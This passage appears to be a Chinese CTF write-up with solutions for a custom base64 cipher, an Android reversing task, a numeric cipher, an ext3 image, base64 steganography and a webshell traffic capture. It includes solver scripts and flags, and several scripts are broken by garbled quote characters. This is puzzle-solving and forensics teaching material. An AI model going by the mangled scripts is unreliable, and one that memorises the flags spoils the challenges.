44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# coding:utf-8

# 自定义加密表
#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"#原版
s = "i5jLW7S0GX6uf1cv3ny4q8es2Q+bdkYgKOIT/tAxUrFlVPzhmow9BHCMDpEaJRZN"#自定义

def My_base64_encode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
x = str(bin(ord(i))).replace('0b', '')
bin_str.append('{:0>8}'.format(x))
#print(bin_str)
# 输出的字符串
outputs = ""
# 不够三倍数,需补齐的次数
nums = 0
while bin_str:
#每次取三个字符的二进制
temp_list = bin_str[:3]
if(len(temp_list) != 3):
nums = 3 - len(temp_list)
while len(temp_list) < 3:
temp_list += ['0' * 8]
temp_str = "".join(temp_list)
#print(temp_str)
# 将三个8字节的二进制转换为4个十进制
temp_str_list = []
for i in range(0,4):
temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))
#print(temp_str_list)
if nums:
temp_str_list = temp_str_list[0:4 - nums]

for i in temp_str_list:
outputs += s[i]
bin_str = bin_str[3:]
outputs += nums * '='
print("Encrypted String:\n%s "%outputs)

def My_base64_decode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
if i != '=':
x = str(bin(s.index(i))).replace('0b', '')
bin_str.append('{:0>6}'.format(x))
#print(bin_str)
# 输出的字符串
outputs = ""
nums = inputs.count('=')
while bin_str:
temp_list = bin_str[:4]
temp_str = "".join(temp_list)
#print(temp_str)
# 补足8位字节
if(len(temp_str) % 8 != 0):
temp_str = temp_str[0:-1 * nums * 2]
# 将四个6字节的二进制转换为三个字符
for i in range(0,int(len(temp_str) / 8)):
outputs += chr(int(temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]
print("Decrypted String:\n%s "%outputs)

print()
print(" *************************************")
print(" * (1)encode (2)decode *")
print(" *************************************")
print()


num = input("Please select the operation you want to perform:\n")
if(num == "1"):
input_str = input("Please enter a string that needs to be encrypted: \n")
My_base64_encode(input_str)
else:
input_str = input("Please enter a string that needs to be decrypted: \n")
My_base64_decode(input_str)

运行结果:

1
2
3
4
5
6
7
8
9
10
     *************************************
* (1)encode (2)decode *
*************************************

Please select the operation you want to perform:
2
Please enter a string that needs to be decrypted:
QAoOQMPFks1BsB7cbM3TQsXg30i9g3==
Decrypted String:
flag{实践出真知这不是flag}

easyjava

[collapse title=”展开查看详情” status=”false”]

考点:手撕算法

部分函数名已重命名,懒得再找一份原题QAQ

开门见山,mainactivity 就能找到加密算法入口。函数将输入值剔除flag{} ,然后传入加密函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static Boolean b(String string) {  // 结尾}
Boolean result;
int index = 0;
if(!string.startsWith("flag{")) { // 开头flag{
result = Boolean.valueOf(false);
}
else if(!string.endsWith("}")) {
result = Boolean.valueOf(false);
}
else {
String string_1 = string.substring(5, string.length() - 1); // 分割字符串去除flag{}
Mb v4 = new Mb(Integer.valueOf(2));
Ma v5 = new Ma(Integer.valueOf(3));
StringBuilder c_string = new StringBuilder();
int v1 = 0;
while(index < string_1.length()) {
c_string.append(MainActivity.a(string_1.charAt(index) + "", v4, v5)); //加密函数
Integer v6 = Integer.valueOf(v4.b().intValue() / 25);
if(v6.intValue() > v1 && v6.intValue() >= 1) {
++v1;
}

++index;
}

result = Boolean.valueOf(c_string.toString().equals("wigwrkaugala"));
}

return result;
}

加密函数有两层最后调用为:

1
2
3
private static char a(String string, Mb b, Ma a) {
return a.a(b.a(string));
}

a b 加密逻辑大致一样,处理对象都是单字符,进行混淆后,对密钥进行更新。

b 加密函数主要如下:(忽略处理空格和字符不存在情况)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Mb.key_list = "abcdefghijklmnopqrstuvwxyz";
public Integer a(String string) {
int v0 = 0;
Integer v1 = Integer.valueOf(0);
if(Mb.key_list.contains(string.toLowerCase())) { // 转为小写,然后查询在不在key中
Integer index = Integer.valueOf(Mb.key_list.indexOf(string));
while(v0 < Mb.a_ArrayList.size() - 1) {
if(Mb.a_ArrayList.get(v0) == index) {
v1 = Integer.valueOf(v0);
}

++v0;
}
}
…………
Mb.a();
return v1;
}

加密操作为:检索字符在keylisit的下标,记为index,然后检索indexa_ArrayList的下标,记为v1,检索成功就调用Mb.a()生成新的密钥keylista_ArrayList,然后返回v1

a_ArrayList不是一个静态变量,是经由public Mb(Integer arg9)生成的,一开始以为动态生成的,然后动态调试了一下,发现是第一次调用时生成好了,后续字符加密沿用上一字符密钥。生成的偏移为 2 。

Mb.a()处理逻辑就是:每一轮加密完成后,将两个密钥的首元素放置到最后一位。

1
2
3
4
5
6
7
8
public static void a() {
int v0 = Mb.a_ArrayList.get(0).intValue();
Mb.a_ArrayList.remove(0);
Mb.a_ArrayList.add(Integer.valueOf(v0)); // 将列表首个元素放到最后
Mb.key_list = Mb.key_list + "" + Mb.key_list.charAt(0);
Mb.key_list = Mb.key_list.substring(1, 27); // 将列表首个元素放到最后
Mb.d = Integer.valueOf(Mb.d.intValue() + 1); // 某个计算位加1
}

a.a(b.a(string)) b 函数加密完成后,返回值作为参数传入 a ,加密方式与 b 相近,较大不同点是每轮加密不会随机化密钥,密钥初始偏移为 3 。因为从最后判断函数可知 flag 中间字符为 12 位,不足以触发 a 随机化密钥函数要求。

解密EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from collections import deque # 双端队列简化随机密钥实现
alpha = deque("abcdefghijklmnopqrstuvwxyz")
#key_b = deque([8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13])
#key_a = deque([7, 14, 16, 21, 4, 24, 25, 20, 5, 15, 9, 17, 6, 13, 3, 18, 12, 10, 19, 0, 22, 2, 11, 23, 1, 8])
key_b = deque([17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13, 8, 25])
key_a = deque([21, 4, 24, 25, 20, 5, 15, 9, 17, 6, 13, 3, 18, 12, 10, 19, 0, 22, 2, 11, 23, 1, 8, 7, 14, 16])
c = 'wigwrkaugala'

def decode(s):
i = key_a[(ord(s) - ord('a'))]
i = key_b[(i)]
print(alpha[i], end='')
key_b.append(key_b.popleft())
alpha.append(alpha.popleft())

print("flag{",end='')
for s in c: decode(s)
print("}")

提交 flag 后看评论区好像题目有多解。

[/collapse]

Crypto

幂数加密

[collapse title=”展开查看详情” status=”false”]

给出文本:8842101220480224404014224202480122。查看资料后,得出 0 是分解符。分界后各个数字相加后 -1 为与 A 的 ascii 码偏移。(ps:怎么感觉有点像是 8421 码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#encoding:utf-8
# python3

#解密字符
c = ';8842101220480224404014224202480122';

def decode(c):
c = c.split(';0';)#分割
print(c)
for i in c:
a = 0
for j in i:
a += int(j)
print(chr(a+ord(';A';)-1),end=';';)

if __name__ == ';__main__';:
decode(c)

[/collapse]

Misc

ext3

[collapse title=”展开查看详情” status=”false”]

题目提示是 Linux 系统镜像,首先反应是内存取证,然后使用 volatility 无法挂载。于是另寻方法,发现使用 IDA 32 位能成功打开,然后是查找字符串 shift+f12 ,因为内存镜像中的字符串也是可以被 IDA 读取的。加载字符串后,搜索 flag 发现 flag.txt 文件地址: O7avZhikgKgbF/flag.txt 。

然后就是怎么提取文件,正常情况下是用 volatility dump 命令,问题是现在加载不了。我采取用将其挂载到 Linux 虚拟机上。

1
2
3
4
5
6
7
#创建挂载文件夹
mkdir ext3
#挂载
mount f1fc23f5c743425d9e0073887c846d23 ext3
#取消挂载
#umount ext3
cat O7avZhikgKgbF/flag.txt

当然也可以不用 IDA 分析,直接挂载后搜索 find / -name flag.txt

[/collapse]

base64stego

[collapse title=”展开查看详情” status=”false”]

base64 隐写题目。隐写原理来自tr0y

隐写原理
注意红色的 0, 我们在解码的时候将其丢弃了, 所以这里的值不会影响解码. 所以我们可以在这进行隐写.
为什么等号的那部分 0 不能用于隐写? 因为修改那里的二进制值会导致等号数量变化, 解码的第 1 步会受影响. 自然也就破坏了源字符串.
而红色部分的 0 是作为最后一个字符二进制的组成部分, 还原时只用到了最后一个字符二进制的前部分, 后面的部分就不会影响还原.
唯一的影响就是最后一个字符会变化. 如下图

如果你直接解密’VHIweQ==’与’VHIweR==’, 得到的结果都是’Tr0y’.

当然, 一行 base64 顶多能有 2 个等号, 也就是有 2*2 位的可隐写位. 所以我们得弄很多行, 才能隐藏一个字符串, 这也是为什么题目给了一大段 base64 的原因.
接下来, 把要隐藏的 flag 转为 8 位二进制, 塞进去就行了.

加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: cp936 -*-
import base64
flag = ';Tr0y{Base64isF4n}'; #flag
bin_str = ';';.join([bin(ord(c)).replace(';0b';, ';';).zfill(8) for c in flag])
base64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
with open(';0.txt';, ';rb';) as f0, open(';1.txt';, ';wb';) as f1: #';0.txt';是明文, ';1.txt';用于存放隐写后的 base64
for line in f0.readlines():
rowstr = base64.b64encode(line.replace(';\n';, ';';))
equalnum = rowstr.count(';=';)
if equalnum and len(bin_str):
offset = int(';0b';+bin_str[:equalnum * 2], 2)
char = rowstr[len(rowstr) - equalnum - 1]
rowstr = rowstr.replace(char, base64chars[base64chars.index(char) + offset])
bin_str = bin_str[equalnum*2:]
f1.write(rowstr + ';\n';)

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: cp936 -*-
b64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
with open(';1.txt';, ';rb';) as f:
bin_str = ';';
for line in f.readlines():
stegb64 = ';';.join(line.split())
rowb64 = ';';.join(stegb64.decode(';base64';).encode(';base64';).split())
offset = abs(b64chars.index(stegb64.replace(';=';,';';)[-1])-b64chars.index(rowb64.replace(';=';,';';)[-1]))
equalnum = stegb64.count(';=';) #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ';';.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

[/collapse]

功夫再高也怕菜刀

[collapse title=”展开查看详情” status=”false”]

分组字节流查询字符串 flag.txt 发现有结果

将流量包用 foremost 分析出压缩包 00002778.zip ,需密码才能解压 flag.txt ,继续查询流量,发现有 6666.jpg

右键跟踪 tcp 流量,点击 save as 保存数据,用文本编辑器打开,将 FFD8 jpg 文件头前数据删除,以及最后一个 FFD9 后面数据删除,全选复制。

用 winhex 或者 010editor 新建一个空白文件,以 ascii-hex 写入数据,并保存为 jpg ,获得解压密码。

[/collapse]